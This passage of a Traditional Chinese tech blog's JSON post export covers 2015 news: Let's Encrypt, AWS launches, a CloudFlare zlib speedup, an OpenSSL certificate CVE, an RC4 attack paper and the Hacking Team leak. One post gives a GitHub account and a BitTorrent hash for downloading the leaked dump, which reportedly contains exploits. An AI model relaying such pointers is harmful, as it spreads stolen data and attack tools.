    "body": "友人在 <a href=\"https://github.com/\">GitHub</a> 上整理了各家 Engineering Blog：「<a href=\"https://github.com/kilimchoi/engineering-blogs\">Software Engineering Blogs</a>」。\r\n\r\n除了官方的以外，也有列出很多個人的 Blog... 可以從裡面挑著訂 (拿 <a href=\"https://feedly.com/\">Feedly</a> 訂)，找時間來清一次...",
    "title": "各家的 Engineering Blog"
  },
  {
    "id": "5838",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 是個 CA (Certificate Authority)，打算免費提供 SSL certificate，致力於普及網路加密技術。\r\n\r\n由於 CA 是架構在稽核程序確保安全性，所以整個設置作業會非常長，最近總算快告一段落了。前幾天放出正式開放的時程：「<a href=\"https://letsencrypt.org/2015/06/16/lets-encrypt-launch-schedule.html\">Let's Encrypt Launch Schedule</a>」。\r\n\r\n也就是 2015/07/27 會開放，但這個時間點暫時不會有任何 client 支援 (需要手動安裝他們的 root CA)，而到了 2015/09/14 後，<a href=\"https://identrust.com/\">IdenTrust</a> 會交叉簽名，屆時大多數的 client 都可以認得。",
    "title": "Let's Encrypt 的進度"
  },
  {
    "id": "5839",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 宣佈在大阪建 PoP，將京阪神 (&amp; 西側)，以及名古屋地區納入服務範圍：「<a href=\"https://blog.cloudflare.com/osaka-data-center/\">Osaka, Japan: CloudFlare's 35th data center</a>」。\r\n\r\n人剛好就在大阪，實際測試發現還是有些狀況。手機的部份還是會導到東京交換，住的地方也還是到東京交換。看起來還有不少 DNS resolver 的 IP 資訊要調整。\r\n\r\n另外這也使得日本地區有完全異地備援的機制，如果東京機房出問題時可以透過大阪撐著，不需要跑到國外 (應該是香港 PoP)。",
    "title": "CloudFlare 的大阪 PoP"
  },
  {
    "id": "5840",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 對於帳號建議的管理方式是把 Root Account 封印，改開 <a href=\"https://aws.amazon.com/iam/\">AWS IAM</a>，而這篇就是在介紹要如何偵測 Root Account 的 access key 被使用的情況 (一般來說應該連 access key 都不會生，這邊是放了一道警告機制防萬一)：「<a href=\"https://blogs.aws.amazon.com/security/post/Tx3PSPQSN8374D/How-to-Receive-Notifications-When-Your-AWS-Account-s-Root-Access-Keys-Are-Used\">How to Receive Notifications When Your AWS Account's Root Access Keys Are Used</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QEnChRw.webp\" /><img src=\"https://i.gslin.com/imgur/QEnChRw.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://aws.amazon.com/cloudtrail/\">CloudTrail</a> + <a href=\"https://aws.amazon.com/cloudwatch/\">CloudWatch</a> 的組合技。",
    "title": "當 AWS Root Account 的 Access Key 被使用時發信通知"
  },
  {
    "id": "5841",
    "body": "在「<a href=\"https://josephscott.org/archives/2015/06/wrk/\">wrk</a>」這邊看到 wrk 這個工具：「<a href=\"https://github.com/wg/wrk\">Modern HTTP benchmarking tool</a>」。\r\n\r\n利用 multi-threading 與 epoll/kqueue 撐出效能：\r\n\r\n<blockquote>wrk is a modern HTTP benchmarking tool capable of generating significant load when run on a single multi-core CPU. It combines a multithreaded design with scalable event notification systems such as epoll and kqueue.</blockquote>",
    "title": "支援多 CPU 的 ab：wrk"
  },
  {
    "id": "5844",
    "body": "2011 年的時候寫了一篇「<a href=\"https://blog.gslin.org/archives/2011/11/21/2782/%E9%97%9C%E6%8E%89-mac-os-x-%E4%B8%8A%E7%9A%84%E5%B9%B3%E6%BB%91%E6%8D%B2%E5%8B%95/\">關掉 Mac OS X 上的平滑捲動...</a>」，而昨天發現用了四年的 MBA 壞了，今天買了新的 MBPR 後發現原來的方法已經找不到對應的地方設定了...\r\n\r\n查到「<a href=\"http://www.defaults-write.com/disable-smooth-scrolling-in-mountain-lion/\">Disable Smooth Scrolling in Mountain Lion</a>」這篇的說明，用這個指令就可以關閉：\r\n\r\n<pre>defaults write -g NSScrollAnimationEnabled -bool false</pre>\r\n\r\n恢復的方法把 <code>false</code> 改成 <code>true</code> 即可。",
    "title": "關閉 OS X Yosemite (10.10) 的平滑捲動"
  },
  {
    "id": "5845",
    "body": "<a href=\"https://www.flickr.com/\">Flickr</a> 說明了用 GPU 產生縮圖的技術：「<a href=\"https://code.flickr.net/2015/06/25/real-time-resizing-of-flickr-images-using-gpus/\">Real-time Resizing of Flickr Images Using GPUs</a>」。\r\n\r\n這邊可以看到是透過 apache module 再轉到 resize worker：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ves03E1.webp\" /><img src=\"https://i.gslin.com/imgur/ves03E1.jpg\" alt=\"\" /></picture>\r\n\r\n成果就是讓縮圖的產生時間縮短很多，以 2048px 轉到 1600px 為例，速度快了 15 倍，即使是與 Yahoo 自己最佳化過的版本相比，也快了 10 倍：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/21NItIb.webp\" /><img src=\"https://i.gslin.com/imgur/21NItIb.jpg\" alt=\"\" /></picture>\r\n\r\n而 GPU-based 的架構每台 server 可以支撐 300 resizes/sec：\r\n\r\n<blockquote>Equally noteworthy,  at peak load,  each resize server can perform over 300 resizes per second.</blockquote>",
    "title": "Flickr 用 GPU 產生縮圖"
  },
  {
    "id": "5846",
    "body": "在「<a href=\"http://www.osnews.com/story/28652/An_hour_with_Safari_Content_Blocker_in_iOS_9\">An hour with Safari Content Blocker in iOS 9</a>」這邊提到了「<a href=\"http://murphyapps.co/blog/2015/6/24/an-hour-with-safari-content-blocker-in-ios-9\">An hour with Safari Content Blocker in iOS 9</a>」這篇文章。\r\n\r\n文章裡提到：\r\n\r\n<blockquote>They have super tiny 'close' buttons that are near impossible to hit, they follow you as you scroll and there is a slow loading full page interstitial that loads on every page refresh. Urgh! Anyway...</blockquote>\r\n\r\n在這兩張圖 (Before &amp; After) 說明了很多效果：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/q1fE9i5l.webp\" /><img src=\"https://i.gslin.com/imgur/q1fE9i5l.jpg\" alt=\"\" /> <picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Bp2mfDhl.webp\" /><img src=\"https://i.gslin.com/imgur/Bp2mfDhl.jpg\" alt=\"\" /></picture></picture>\r\n\r\n而網頁讀取速度從 11 秒變成 2 秒...\r\n\r\n蘋果在 <a href=\"https://developer.apple.com/videos/wwdc/2015/\">WWDC 2015</a> 上的說明則可以在「<a href=\"https://developer.apple.com/videos/wwdc/2015/?id=511\">Safari Extensibility: Content Blocking and Shared Links</a>」這邊看影片。",
    "title": "關於 iOS 9 的 Content Blocker"
  },
  {
    "id": "5847",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的服務：「<a href=\"https://cuttlephish.com/\">CuttlePhish</a>」。\r\n\r\nCuttlePhish 是個社交工程演練網站，提供演練測試 (Phishing as a Service)，付費的方式也很有趣：\r\n\r\n<blockquote>Twenty bucks, for up to 100 users. We charge per-batch of emails, (not per-email or per-click). You only pay if somebody clicks one of the links in our emails.</blockquote>\r\n\r\n只有在有人點的時候收 USD$20... XD",
    "title": "社交工程演練網站 CuttlePhish"
  },
  {
    "id": "5848",
    "body": "<a href=\"http://symfony.com/\">Symfony</a> 宣佈相容於 <a href=\"http://hhvm.com/\">HHVM</a> 了：「<a href=\"http://symfony.com/blog/symfony-2-3-achieves-100-hhvm-compatibility\">Symfony 2.3 achieves 100% HHVM compatibility</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/k7Edi3c.webp\" /><img src=\"https://i.gslin.com/imgur/k7Edi3c.jpg\" alt=\"\" /></picture>\r\n\r\nHHVM 與 <a href=\"http://php.net/\">PHP</a> 7 的競爭讓整個 PHP 社群受益不少...",
    "title": "Symfony 的 100% HHVM compatibility"
  },
  {
    "id": "5849",
    "body": "<a href=\"http://www.cisco.com/\">Cisco</a> 買下 <a href=\"https://www.opendns.com/\">OpenDNS</a>：「<a href=\"http://venturebeat.com/2015/06/30/cisco-acquires-cloud-security-company-opendns-for-635m/\">Cisco acquires cloud security company OpenDNS for $635M</a>」。\r\n\r\n最主要的 DNS 業務被 <a href=\"https://www.google.com/\">Google</a> 進來競爭後就沒有太多新的發展，算是善終？至少有個富爸爸可以像 <a href=\"https://www.spamcop.net/\">SpamCop</a> 那樣無虞...？",
    "title": "Cisco 買下 OpenDNS"
  },
  {
    "id": "5850",
    "body": "Facebook Messenger 在美國可以直接轉帳了 (銀行帳戶對銀行帳戶)：「<a href=\"http://thenextweb.com/facebook/2015/06/30/fb-better-have-my-money/\">Facebook Messenger payments are now available to everyone in the US</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/npI76iB.webp\" /><img src=\"https://i.gslin.com/imgur/npI76iB.jpg\" alt=\"\" /></picture>\r\n\r\n應該會有 SDK 放出來讓大家接起來用？",
    "title": "Facebook Messenger 在美國開放轉帳功能"
  },
  {
    "id": "5851",
    "body": "把本來的 20M/5M 升級到 100M/40M 了，測試可以看到速度算是有達到標準：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5UWC0w4.webp\" /><img src=\"https://i.gslin.com/imgur/5UWC0w4.jpg\" alt=\"\" /></picture>\r\n\r\n透過兩條電話線供裝，可以透過 <a href=\"http://oss.oetiker.ch/smokeping/\">SmokePing</a> 看出來 latency 高了一點：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4cF7Cms.webp\" /><img src=\"https://i.gslin.com/imgur/4cF7Cms.jpg\" alt=\"\" /></picture>\r\n\r\n抓檔案快多了...",
    "title": "總算是把光世代升級到 100M/40M 了..."
  },
  {
    "id": "5852",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上遇到比較大張的圖片要自己展開，之前在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 上面是用 <a href=\"https://chrome.google.com/webstore/detail/previeweet/ioknjbncflfoefodkjodmddcpahnhkgh\">Previeweet</a> 解決，但這個套件已經年久失修...\r\n\r\n研究了 Twitter 的 CSS 結構，看起來可以用 <a href=\"https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe\">Stylish</a> 處理掉，就寫了一個 style 上傳上去：「<a href=\"https://userstyles.org/styles/115979/twitter-expand-preview-image\">Twitter Expand Preview Image</a>」。\r\n\r\n這樣看圖片方便多了...",
    "title": "預設展開 Twitter 圖片的 Userstyle"
  },
  {
    "id": "5854",
    "body": "在「<a href=\"https://aws.amazon.com/blogs/aws/auto-scaling-update-new-scaling-policies-for-more-responsive-scaling/\">Auto Scaling Update – New Scaling Policies for More Responsive Scaling</a>」這邊提到了 Auto Scaling 的改善，其中我覺得最重要的就是這張圖了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CyUHope.webp\" /><img src=\"https://i.gslin.com/imgur/CyUHope.jpg\" alt=\"\" /></picture>\r\n\r\n可以以不同程度的情況來決定加機器的速度...",
    "title": "更有彈性的 Auto Scaling"
  },
  {
    "id": "5856",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 大幅改善 <a href=\"http://www.zlib.net/\">zlib</a>，使得速度相較原來的版本快了許多：「<a href=\"https://blog.cloudflare.com/cloudflare-fights-cancer/\">Fighting Cancer: The Unexpected Benefit Of Open Sourcing Our Code</a>」。\r\n\r\n改變的部份主要是 CPU 指令集的特性，以及 longest-match function 的改善。可以看出不同的測試樣本 (corpus) 在壓縮率沒有變差的情況下，大幅改善了速度。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Calgary_corpus\">Calgary corpus</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dPspgQ0.webp\" /><img src=\"https://i.gslin.com/imgur/dPspgQ0.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Canterbury_corpus\">Canterbury corpus</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bHg8OrD.webp\" /><img src=\"https://i.gslin.com/imgur/bHg8OrD.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"http://corpus.canterbury.ac.nz/descriptions/#large\">Large corpus</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/s6SlS2g.webp\" /><img src=\"https://i.gslin.com/imgur/s6SlS2g.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"http://sun.aei.polsl.pl/~sdeor/index.php?page=silesia\">Silesia corpus</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mW9tv9K.webp\" /><img src=\"https://i.gslin.com/imgur/mW9tv9K.jpg\" alt=\"\" /></picture>\r\n\r\n速度快非常多，跟 <a href=\"https://www.google.com/\">Google</a> 以壓縮率為導向而放出來的 <a href=\"https://github.com/google/zopfli\">zopfli</a> 剛好是兩個極端：「<a href=\"https://blog.gslin.org/archives/2013/03/01/3228/google-%E7%99%BC%E8%A1%A8%E8%88%87-zlibdeflate-%E7%9B%B8%E5%AE%B9%E7%9A%84%E5%A3%93%E7%B8%AE%E7%A8%8B%E5%BC%8F%EF%BC%8C%E5%86%8D%E5%B0%8F-5/\">Google 發表與 zlib/deflate 相容的壓縮程式，再小 5%...</a>」。",
    "title": "CloudFlare 加速 zlib library"
  },
  {
    "id": "5857",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了「<a href=\"https://aws.amazon.com/blogs/aws/amazon-api-gateway-build-and-run-scalable-application-backends/\">Amazon API Gateway – Build and Run Scalable Application Backends</a>」，使得 Scalable API 又前進了一步。\r\n\r\nAPI Gateway 可以直接將 HTTP Endpoint 接上 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 提供服務，並且也會自動接上 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a>，不過 CloudFront 不可選等級，目前看起來是最低的 Class 100，所以老問題還是沒解，如果不是用 <code>168.95.1.1</code> 或 <code>168.95.192.1</code>，我們家的 IP 會被解去 ARN (<a href=\"https://en.wikipedia.org/wiki/Stockholm_Arlanda_Airport\">Stockholm Arlanda Airport</a>) XD\r\n\r\n<small><pre>  4.|-- snuh-3201.hinet.net        0.0%    10    0.3   0.3   0.3   0.3   0.0\r\n  5.|-- tpdt-3011.hinet.net        0.0%    10    6.7   9.0   4.8  12.5   2.8\r\n  6.|-- r4101-s2.tp.hinet.net      0.0%    10    0.5   0.9   0.5   1.5   0.0\r\n  7.|-- r4001-s2.tp.hinet.net      0.0%    10    3.8   1.1   0.5   3.8   1.2\r\n  8.|-- r11-pa.us.hinet.net        0.0%    10  199.8 151.6 143.1 199.8  19.0\r\n  9.|-- las-bb1-link.telia.net     0.0%    10  140.6 142.6 140.5 159.7   6.0\r\n 10.|-- sjo-b21-link.telia.net     0.0%    10  141.6 142.1 141.5 146.1   1.2\r\n 11.|-- nyk-bb2-link.telia.net     0.0%    10  217.0 218.9 217.0 224.0   2.6\r\n 12.|-- kbn-bb4-link.telia.net     0.0%    10  305.7 305.8 305.7 306.2   0.0\r\n 13.|-- s-bb4-link.telia.net       0.0%    10  316.4 316.4 316.4 316.6   0.0\r\n 14.|-- s-b9-link.telia.net       10.0%    10  316.4 316.5 316.4 317.5   0.0\r\n 15.|-- amazon-ic-300293-s-b9.c.t 10.0%    10  311.5 311.5 311.4 311.5   0.0\r\n 16.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 17.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 18.|-- ???                       100.0    10    0.0   0.0   0.0   0.0   0.0\r\n 19.|-- server-54-230-96-67.arn1. 10.0%    10  311.5 311.8 311.5 313.2   0.4</pre></small>\r\n\r\n除了使用提供的 url 以外 (HTTPS Endpoint)，也可以接上自己的 domain (以及對應的 SSL certificate)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/I729YNZ.webp\" /><img src=\"https://i.gslin.com/imgur/I729YNZ.jpg\" alt=\"\" /></picture>\r\n\r\n另外功能是產生 SDK，支援 <a href=\"https://www.apple.com/ios/\">iOS</a>、<a href=\"https://www.android.com/\">Android</a> 以及 JavaScript 三種版本：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/uoMdvpN.webp\" /><img src=\"https://i.gslin.com/imgur/uoMdvpN.jpg\" alt=\"\" /></picture>\r\n\r\n這樣又簡化了不少東西...",
    "title": "AWS 推出 Amazon API Gateway"
  },
  {
    "id": "5858",
    "body": "<a href=\"https://openssl.org/\">OpenSSL</a> 發佈了「<a href=\"https://openssl.org/news/secadv_20150709.txt\">Alternative chains certificate forgery (CVE-2015-1793)</a>」安全性通報：\r\n\r\n<blockquote>An error in the implementation of this logic can mean that an attacker could cause certain checks on untrusted certificates to be bypassed, such as the CA flag, enabling them to use a valid leaf certificate to act as a CA and \"issue\" an invalid certificate.</blockquote>\r\n\r\n拿一個合法的 leaf certificate 當 CA root... 這下又有一票東西要更新了 @_@\r\n\r\n這次從 1.0.1n 到 1.0.2b 的版本會受到影響。\r\n\r\n<blockquote>starting from version 1.0.1n and 1.0.2b</blockquote>",
    "title": "OpenSSL 的重大 bug：拿 Certificate 當 CA..."
  },
  {
    "id": "5859",
    "body": "蘋果打算在 <a href=\"https://www.apple.com/ios/\">iOS</a> 9 與 <a href=\"https://www.apple.com/osx/\">OS X</a> El Capitan 引入 2FA 登入機制：「<a href=\"http://www.osnews.com/story/28686/Apple_Adds_Two_Factor_Authentication_to_OS_X_and_iOS\">Apple Adds Two Factor Authentication to OS X and iOS</a>」。\r\n\r\n在蘋果的「<a href=\"https://developer.apple.com/support/two-factor-authentication/\">Two-Factor Authentication in iOS 9 and OS X El Capitan</a>」有詳細說明。\r\n\r\n等實際推出的時候再來看看用起來如何...",
    "title": "蘋果規劃在 iOS 9 與 OS X El Capitan 引入 2FA 登入機制"
  },
  {
    "id": "5860",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 最近動作很多，預定在 2015/07/13 推出 <a href=\"https://aws.amazon.com/device-farm/\">AWS Device Farm</a>，可以讓使用者直接租機器測試，價錢則是 USD$0.17/minute，或是租用一整個月 USD$250/month (一個裝置)：\r\n\r\n<blockquote>Pricing is based on device minutes, which are determined by the number of devices you use and the duration of your tests. AWS Device Farm comes with a free tier of 250 device minutes. After that you are charged $0.17 per device minute. As your testing needs grow, you can opt for our unmetered testing plan, which allows unlimited testing for a flat monthly fee of $250 per device.</blockquote>\r\n\r\n等推出了之後再來研究看看，另外問問看公司內的同事來安排測試好了？",
    "title": "AWS 推出 Device Farm (行動裝置測試平台)"
  },
  {
    "id": "5861",
    "body": "這幾天資安領域最熱鬧的消息莫過於 Hacking Team 被黑之後洩漏出來的 400GB+ 的資料：「<a href=\"http://www.osnews.com/story/28676/Hacking_Team_hacked_attackers_claim_400GB_in_dumped_data\">Hacking Team hacked, attackers claim 400GB in dumped data</a>」、「<a href=\"http://www.csoonline.com/article/2943968/data-breach/hacking-team-hacked-attackers-claim-400gb-in-dumped-data.html\">Hacking Team hacked, attackers claim 400GB in dumped data</a>」。\r\n\r\n洩漏的資料可以在 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/hackedteam\">hackedteam</a>」取得，或是透過 BitTorrent 取得 (i.e. 51603bff88e0a1b3bad3962614978929c9d26955)。\r\n\r\n烏雲上的「<a href=\"http://drops.wooyun.org/news/6977\">人手一份核武器 - Hacking Team 泄露（开源）资料导览手册</a>」這篇寫得很完整了，現在的系統已經整合到這樣，於是要對這個人做任何事情都很容易：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3fgEtTX.webp\" /><img src=\"https://i.gslin.com/imgur/3fgEtTX.jpg\" alt=\"\" /></picture>\r\n\r\n也因為這次的 leak 而使得不少軟體在修正 0day exploit...\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p lang=\"en\" dir=\"ltr\">This is the correct way to patch Flash <a href=\"http://t.co/ZKgbu1Qkf0\">pic.twitter.com/ZKgbu1Qkf0</a></p>&mdash; Jonathan Zdziarski (@JZdziarski) <a href=\"https://twitter.com/JZdziarski/status/618706036829069312\">July 8, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n好精緻的核武...",
    "title": "Hacking Team 被黑而洩漏出來的資料"
  },
  {
    "id": "5862",
    "body": "前情提要：「<a href=\"https://blog.gslin.org/archives/2015/07/10/5861/hacking-team-%E8%A2%AB%E9%BB%91%E8%80%8C%E6%B4%A9%E6%BC%8F%E5%87%BA%E4%BE%86%E7%9A%84%E8%B3%87%E6%96%99/\">Hacking Team 被黑而洩漏出來的資料</a>」。\r\n\r\n在「<a href=\"http://arstechnica.com/security/2015/07/how-a-russian-hacker-made-45000-selling-a-zero-day-flash-exploit-to-hacking-team/\">How a Russian hacker made $45,000 selling a 0-day Flash exploit to Hacking Team</a>」這邊提到了 Hacking Team 被黑而洩漏出來的信件，透漏了俄羅斯的人賣 Flash Exploit 給 Hacking Team 的過程。\r\n\r\n從內容就可以看出不同的賣法，包括「首次」與「獨家」都是可以談的條件：\r\n\r\n<blockquote>1) The price is US$45,000.00 for the non-exclusive sale of any special discount for the \"first\" deal together will be greatly appreciated :)</blockquote>\r\n\r\n然後有些東西是另外加密通信的：\r\n\r\n<blockquote>The two men then exchanged PGP keys, which they used to exchange a number of encrypted messages, presumably one including how Toporov would like to be paid.</blockquote>\r\n\r\n然後還有 invoice：\r\n\r\n<img src=\"https://i.gslin.com/imgur/VsKJkIZ.jpg\" alt=\"\" />\r\n\r\n而買了幾個建立關係後，後面還會有 discount：\r\n\r\n<blockquote>Now your discount on the next buy is -5k and -10k is for a third bug.</blockquote>\r\n\r\n最近應該會有不少人跳下去解讀洩漏出來的資料...",
    "title": "Hacking Team 購買 Flash Exploit 的信件"
  },
  {
    "id": "5863",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2015/07/06/5852/%E9%A0%90%E8%A8%AD%E5%B1%95%E9%96%8B-twitter-%E5%9C%96%E7%89%87%E7%9A%84-userstyle/\">預設展開 Twitter 圖片的 Userstyle</a>」這邊利用 CSS 效果展開圖片，這次更新把多張圖片的縮圖也展開了：「<a href=\"https://userstyles.org/styles/115979/twitter-expand-preview-image\">Twitter Expand Preview Image</a>」。\r\n\r\n連帶的，本來有裝「<a href=\"https://chrome.google.com/webstore/detail/photo-zoom-for-twitter/eohjkphdfajdfhpmdaedemmgmbidbldc\">Photo Zoom for Twitter</a>」就順便移除了...\r\n\r\n這次學到 <code>unset</code> 這個屬性：「<a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/unset\">unset - CSS | MDN</a>」，現在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 也才 43，也就是在 Google Chrome 上是兩個版本前的 41 才支援的...",
    "title": "更新 Twitter Expand Preview Image 樣式..."
  },
  {
    "id": "5865",
    "body": "<a href=\"https://aws.amazon.com/device-farm/\">AWS Device Farm</a> 正式啟用了，可以測 <a href=\"https://www.android.com/\">Android</a> 與 <a href=\"https://www.amazon.com/\">Amazon</a> 的 <a href=\"https://developer.amazon.com/sdk/fireos.html\">Fire OS</a> 手機：「<a href=\"https://aws.amazon.com/blogs/aws/aws-device-farm-test-mobile-apps-on-real-devices/\">AWS Device Farm – Test Mobile Apps on Real Devices</a>」。\r\n\r\n有支援各種測試框架：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/P6OAaV9.webp\" /><img src=\"https://i.gslin.com/imgur/P6OAaV9.jpg\" alt=\"\" /></picture>\r\n\r\n也可以設定手機的狀態：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Icziv7g.webp\" /><img src=\"https://i.gslin.com/imgur/Icziv7g.jpg\" alt=\"\" /></picture>\r\n\r\n然後各種 screenshot：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DWIVE6j.webp\" /><img src=\"https://i.gslin.com/imgur/DWIVE6j.jpg\" alt=\"\" /></picture>\r\n\r\n以及測試時的資源使用狀態：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6ZZ6L7e.webp\" /><img src=\"https://i.gslin.com/imgur/6ZZ6L7e.jpg\" alt=\"\" /></picture>\r\n\r\n價錢就如同之前提到的，USD$0.17/min 或是單隻包月 USD$250 (大約是測一整天的價錢)：\r\n\r\n<blockquote>Pricing is in units of device minutes, basically the duration of a single test run on a particular device. You get 250 minutes at no charge as part of a Free Trial; after that you pay $0.17 per device minute. You can also opt in to our unmetered testing plan; you can perform unlimited testing on any supported Android or FireOS device for a flat monthly fee of $250.</blockquote>",
    "title": "AWS 推出的 Device Farm"
  },
  {
    "id": "5866",
    "body": "<a href=\"http://www.hackingteam.it/\">Hacking Team</a> 的事情告訴我們，只能是能做的，都有人會包成 Total Solution 賣。\r\n\r\n洩漏出來的資料說明了 Hacking Team 在 2013 年幹的 BGP Routing Hijack：「<a href=\"https://www.bgpmon.net/how-hacking-team-helped-italian-special-operations-group-with-bgp-routing-hijack/\">How Hacking Team Helped Italian Special Operations Group with BGP Routing Hijack</a>」。\r\n\r\n<blockquote>The Wikileaks document described how the Italian ROS reached out to Hacking Team to work together on recovering the VPS server that ran on 46.166.163.175. In ROS terminology, the server was called “Anonymizer”. The emails also revealed that this server relays updates to another back end server called “Collector” from which ROS presumably recovers the targets’ data.</blockquote>\r\n\r\n然後：\r\n\r\n<blockquote>When we look at historical BGP data we can confirm that AS31034 (Aruba S.p.A) indeed started to announce the prefix 46.166.163.0/24 starting on Friday, 16 Aug at 2013 07:32 UTC. The Wikileaks emails outline how ROS complained to Hacking Team that the IP was reachable only via Fastweb but not yet through Telecom Italia, concluding not all RCS clients were able to connect back to the server immediately, since the prefix was not seen globally. BGP data further confirms this per the visualization below.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rU8KvE1.webp\" /><img src=\"https://i.gslin.com/imgur/rU8KvE1.jpg\" alt=\"\" /></picture>\r\n\r\n這些主要的 ISP 分別是：\r\n\r\n<blockquote>AS12874 Fastweb\r\nAS6939 Hurricane Electric, Inc.\r\nAS49605 Reteivo.IT\r\nAS4589 Easynet\r\nAS5396 MC-link Spa</blockquote>\r\n\r\n時間線：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vbnnWBB.webp\" /><img src=\"https://i.gslin.com/imgur/vbnnWBB.jpg\" alt=\"\" /></picture>\r\n\r\n這也證明了「鎖 IP」的方法其實還是很危險的。",
    "title": "Hacking Team 的 BGP Routing Hijack"
  },
  {
    "id": "5867",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到「<a href=\"http://aws.amazon.com/events/cloud-kata/taipei-2015-zh/\">Cloud Kata | 台北 | 8月4日</a>」這個消息：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p lang=\"en\" dir=\"ltr\">Don&#39;t miss out our AWS Cloud Kata in Taipei on Aug 4 - register today! <a href=\"http://t.co/GQgzqrj07T\">http://t.co/GQgzqrj07T</a> <a href=\"http://t.co/A5Aj7lTXOa\">pic.twitter.com/A5Aj7lTXOa</a></p>&mdash; Amazon Web Services (@awscloud) <a href=\"https://twitter.com/awscloud/status/621212662441992192\">July 15, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n算是入門課程 (我的觀察)，有興趣的人可以去報名...",
    "title": "AWS 在台灣辦的課程 Cloud Kata"
  },
  {
    "id": "5868",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到對 <a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a> 的新攻擊，可以直接攻擊 TLS 與 WPA-TKIP，沒有 workaround：「<a href=\"http://www.rc4nomore.com/vanhoef-usenix2015.pdf\">All Your Biases Belong To Us: Breaking RC4 in WPA-TKIP and TLS</a>」。\r\n\r\n對 <a href=\"https://en.wikipedia.org/wiki/Temporal_Key_Integrity_Protocol\">TKIP</a> 可以在一個小時內打下來：\r\n\r\n<blockquote>In practice the attack can be executed within an hour.</blockquote>\r\n\r\n對於 TLS 則是 75 個小時有 94% 成功率，實際測試時只用了 52 個小時就順利攻下來：\r\n\r\n<blockquote>We also attack TLS as used by HTTPS, where we show how to decrypt a secure cookie with a success rate of 94% using 9·2<sup>27</sup> ciphertexts.  This is done by injecting known data around the cookie, abusing this using Mantin's ABSAB bias, and brute-forcing the cookie by traversing the plain-text candidates.  Using our traffic generation technique, we are able to execute the attack in merely 75 hours.</blockquote>\r\n\r\n<blockquote>When we tested the attack against real devices, it took merely 52 hours to successfully perform the attack.</blockquote>\r\n\r\n看起來唯一的解法是停用...",
    "title": "新的 RC4 攻擊：實戰化"
  },
  {
    "id": "5869",
